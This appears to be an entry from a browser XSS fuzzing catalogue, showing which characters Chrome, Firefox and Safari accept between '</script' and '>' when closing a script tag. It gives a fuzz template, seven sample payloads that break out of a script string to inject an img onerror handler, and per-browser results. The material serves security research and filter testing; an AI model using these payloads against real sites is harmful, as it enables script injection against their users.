Characters allowed while closing script tag

Chrome logo 7
Firefox logo 7
Safari logo 7

This vector shows what characters are between the `</script` and `>` while inside script tag

Created by: AyushXtha

Created on: Monday, October 27, 2025 at 6:04:28 AM

Updated on: Monday, October 27, 2025 at 6:18:38 AM


Vector type: XSS

Vector charset: UTF-8

Template used:
<script>
a="</script$[chr]><img src=data: onerror=log($[i])>"
</script>
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...

Sample payloads

<script>
a="</script ><img src=data: onerror=alert(32)>"
</script>
<script>
a="</script	><img src=data: onerror=alert(9)>"
</script>
<script>
a="</script
><img src=data: onerror=alert(10)>"
</script>
<script>
a="</script>><img src=data: onerror=alert(62)>"
</script>
<script>
a="</script><img src=data: onerror=alert(12)>"
</script>
<script>
a="</script/><img src=data: onerror=alert(47)>"
</script>
<script>
a="</script
><img src=data: onerror=alert(13)>"
</script>

Fuzz results

Chrome logo
Chrome 141.0.0.0 desktop macOS 10.15.7

Updated

Mon Oct 27 2025
Found 7 results
Loading...
Firefox logo
Firefox 144.0 desktop macOS 10.15

Updated

Mon Oct 27 2025
Found 7 results
Loading...
Safari logo
Safari 18.6 desktop macOS 10.15.7

Updated

Mon Oct 27 2025
Found 7 results
Loading...